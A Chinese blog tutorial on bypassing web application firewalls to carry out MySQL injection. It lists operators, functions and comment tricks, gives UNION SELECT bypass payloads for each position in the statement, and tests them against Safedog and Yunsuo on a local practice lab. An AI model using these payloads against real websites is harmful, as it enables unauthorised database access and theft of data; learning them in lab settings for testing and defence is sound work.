Mysql注入bypass攻略

2021-12-19 15:15
0x00前言
将最近研究的mysql注入bypass内容和自己的思考做些整理,在分析的基础上,实战bypass国内两款软件型WAF,前半部分内容虽然很基础,但希望大家能够很熟悉这些知识,基础面越广,后续可利用的手法、可替换的函数、可构造payload种类也会呈正比例增长。

0x01 Mysql知识点
本章主要提及一些mysql的各类运算符号,并将mysql的函数进行分类,分析不同类函数的受用点,除此之外,还有注释及空白字符的总结,当然mysql的一些固定语法也很重要,这里就不再提及。

(1)逻辑符
and、&& 逻辑与

or、|| 逻辑或

not、! 逻辑非

xor 逻辑异或

(2)比较符
= 等于

<>、!= 不等于

>=大于等于

<=小于等于

between and 在之间

in 在之中

not in不在之中

is null判断是否为null

like 像 模糊匹配中%代表随机匹配多位 _代表随机匹配一位

regexp 匹配正则表达式 不区分大小写

regexp binary 匹配正则表达式 区分大小写

rlike匹配 等价于regexp

(3)位运算符
& 位与运算

|位或运算

^位异或运算

~位取反

>>位右移

<<位左移

(4)运算符
+加法

-减法

*乘法

/、div除法

%、mod取余

(5)单行处理函数
单行处理函数可以用来判断,可放在条件子句之后。

lower小写

upper 大写

length取长度

trim 去除两边空白字符

concat拼接

substr截取字符

rand取随机数

round 四舍五入

abs取绝对值 等

(6)多行处理函数
由于mysql的语句执行顺序,多行函数是不允许出现在where条件之后的,所以不可用来做判断。

max取大

min取小

avg取平均

count 取数量

sum求和 等

(7)其他函数
LPAD(str,len,padstr)

RPAD(str,len,padstr)

LEFT(str,length);

CONCAT_WS(separator,str1,str2,...)

TRUNCATE(X,D)

CEIL(expression)

EXP(X)

FLOOR(X)

BIT_LENGTH(str)

ELT(N,str1,str2,str3,...)

MAKE_SET(bits,str1,str2,...)

REPLACE(str,from_str,to_str)

CONV(N,from_base,to_base) 等

这里只列举部分可能会用到的函数,当然最全且最详细的函数列表可以去查看mysql的手册,这里推荐一个查找mysql函数的地址:https://www.jc2182.com/mysql/mysql-ref.html

(8)注释
# 、 --+ 、/**/ 、/*!99999*/ 、;%00
单行注释符#、-- 、–+可以结合换行符%0a使用

(9)空白字符
%09、%0A、%0B、%0D、%20、%0C

0x02 特性
由于实战环境千差万别,想要有一劳永逸的通用bypass手法也不太可能,针对不同WAF、数据库、目标系统以及中间件的特性来绕过更具有针对性,效果也很明显。

(1) WAF特性
说到WAF的特性,那么我们首先要对WAF进行分类,目前市面上的WAF大致分为三类:软件WAF如安全狗、云锁;硬件WAF大多都出自各个安全厂商;云WAF如阿里云、腾讯云。各类WAF各有短肋,因此我们要了解并学会利用。

软件WAF的流程要有大致了解,一般是首先filter过滤掉某些字符,然后去匹配正则,那么绕过的思路就是打断正则匹配,我们可以找出其过滤掉的字符放在不影响sql语句执行的地方(大多为注释里)中,尝试或fuzz出一种经过filter处理后正则匹配不到的payload;也可以使用其他干扰字符或将重点检测的字符串包裹、拼接来达到打断正则。后文实战中会着重讲解。目前网上已有文章结合逆向解出软件WAF的正则规则,白盒测试绕过,这个思路也非常的好,结合自己所长。软件WAF还可以利用填充垃圾数据、chunk编码绕过、更改传参方式(可利用multipart),这类属于固定手法,这里笔者也不再叙述,可以参考其他文章来复现。

硬件WAF大多都是安全厂商自己开发的引擎,那么引擎的性能对于规则的匹配也很重要,因此可利用填充垃圾数据大数据包使引擎能力不足导致绕过;其次,硬件WAF各自对于tcp分片重组能力不同,大多引擎会有一个阈值,若超过则不会进行重组,可以编写python脚本去探测阈值来达到绕过。

云WAF部署在云上,那么最简单且好用的方法就是查找目标的真实IP,云WAF不只是关键字匹配,还会去检索语法,其对mysql函数的覆盖也很广,因此云WAF的绕过需结合测试分析的结果大量fuzz。

(2) Mysql特性
算是一些小tips吧。

Mysql中\N代表null \N后跟sql语句时可以不用空格或空白字符。



科学计数法 1e2=100 科学计数法表达式后跟sql语句时可以不用空格或空白字符。



. 小数后跟sql语句时可以不用空格或空白字符。


{xx 1} 其中xx为注释内容可随意填写,xx后面空格后为数字。


科学计数法e符号在特定情况下会被忽略,1.e这种形式的字符串后面如果是(),则可被忽略。


(3) 系统、中间件特性
这里就是老生常谈了,在asp和iis的环境中,iis会忽略%,iis还支持unicode解析,而unicode也有好几种形式;除此还有参数污染,各类编码绕过等。

0x03 语句分析
每个sql语句的不同点位可以使用不同的方法来绕过规则,下面就以常见的联合查询语句进行分析。

select * from users where ?id= union select 1 user (),3 from users

(1) 点位一
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1%09union select 1,2,3 from users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1/*!*/union select 1,2,3 from users

\N: ?id=\Nunion select 1,2,3 from users

科学计数法:1e0

?id=1e0union select 1,2,3 from users

小数:1.1

?id=1.1union select 1,2,3 from users

(): ?id=(1)union select 1,2,3 from users

{xx 1}: ?id={xx 1}union select 1,2,3 from users

单、双引号:

?id=1 and ""union select 1,2,3 from users

(2) 点位二
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1 union%09select 1,2,3 from users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1 union/*!*/select 1,2,3 from users

括号: ?id=1 union(select 1,2,3 from users)

All、distinct、distinctrow:

?id=1 union all select 1,2,3 from users

(3) 点位三
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1 union select%091,2,3 from users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1 union select/*!*/1,2,3 from users

(): ?id=1 union select(1),2,3 from users

{xx 1}: ?id=1 union select{xx 1},2,3 from users

+: ?id=1 union select+1,2,3 from users

-: ?id=1 union select-1,2,3 from users

@: ?id=1 union select@1,2,3 from users

单引号: ?id=1 union select’1’,2,3 from users

双引号: ?id=1 union select”1”,2,3 from users

反引号:?id=1 union select``1``,2,3 from users

All、distinct、distinctrow:

?id=1 union select all 1,2,3 from users

(4) 点位四
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1 union select 1,user%09(),3 from users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1 union select 1,user/*!*/(),3 from users

1.e: ?id=1 union select 1,user 1.e(),3 from users

(5) 点位五
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1 union select 1,2,3%09from users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1 union select 1,2,3/*!*/from users

\N: ?id=1 union select 1,2,\Nfrom users

科学计数法:1e0

?id=1 union select 1,2,1e0from users

小数:1.1

?id=1 union select 1,2,1.1from users

(): ?id=1 union select 1,2,(3)from users

{xx 3}: ?id=1 union select 1,2,{xx 3}from users

单、双引号:

?id=1 union select 1,2,”3”from users

反引号:

?id=1 union select1,2,``3``from users

(6) 点位六
空白字符:%09、%0A、%0B、%0D、%20、%0C

?id=1 union select 1,2,3 from%09users

注释符:/**/、#%0a、-- %0a、/*!*/

?id=1 union select 1,2,3 from/*!*/users

(): ?id=1 union select 1,2,3 from(users)

{xx users}: ?id=1 union select 1,2,3 from{xx users}

0x04 实战bypass安全狗
各个点位可以使用的字符和方法并不是单一的,你可以尝试将同一点位可以使用的不同符号组合起来,只要sql语句可以执行成功那就满足我们的需求,下面我们将实战测试安全狗,测试过程中我们要清楚WAF拦截的内容是什么。

尝试绕过and 1=1

http://192.168.206.130/sqli/Less-2/?id=1 and 1=1 拦截

http://192.168.206.130/sqli/Less-2/?id=1 and 不拦截

那么就是拦截的有and并且后面是1=1,1=1其实就是逻辑为真,那如果后面不是1=1,and后是不是只要逻辑为真就可以呢,我们随便替换一个函数尝试一下。




没有问题。

我们换个思路我就是想后面是1=1呢?

http://192.168.206.130/sqli/Less-2/?id=1 aand 1=1 不拦截
那说明and前是字母不是空格的话就可以,尝试\N。



尝试绕过union select

http://192.168.206.130/sqli/Less-2/?id=\Nunion/%20select 拦截

尝试使用注释

http://192.168.206.130/sqli/Less-2/?id=\Nunion/*2345adfsafdsf6345*/select 拦截

192.168.206.130/sqli/Less-2/??id=\Nunion/*@#¥%&*()——*/select不拦截

Union和select之间如果选择使用注释符号,注释符号之间的内容若为数字或字母都会被拦截,若为字符可能不拦截,那我们此时就要fuzz不被拦截且sql语句成立的payload。



尝试绕过user()

同理在user和括号之间使用注释fuzz


0x05 实战bypass云锁
尝试绕过and 1=1

http://192.168.206.132/sqli/Less-2/?id=1 and abs(-1) 拦截

http://192.168.206.132/sqli/Less-2/?id=1 and 拦截



可见云锁对and和or的判断要比安全狗严格,只要空格或数字后面是and就会拦截,尝试\N,很轻松绕过,其实我在测试的过程还发现很多都可以绕过,都源于上面基础的特性组合,对mysql越熟悉,那么思路越发散。




最后放一个测试绕过的payload,报错函数绕过:



0x06 写在最后
最后留个自己写的fuzz字典生成脚本吧,可以以多字符为单位组合生成两种字典,两种模式:一种字符可重复,一种不可重复,着实好用。项目地址:https://github.com/Judassss/FuzzDict
 
分享到:
文章评论 · 所有评论
评论请遵守当地法律法规
点击加载更多
本月点击排行
精彩图片
京ICP备14056871号
Copyright ©2022 USN, All Rights Reserved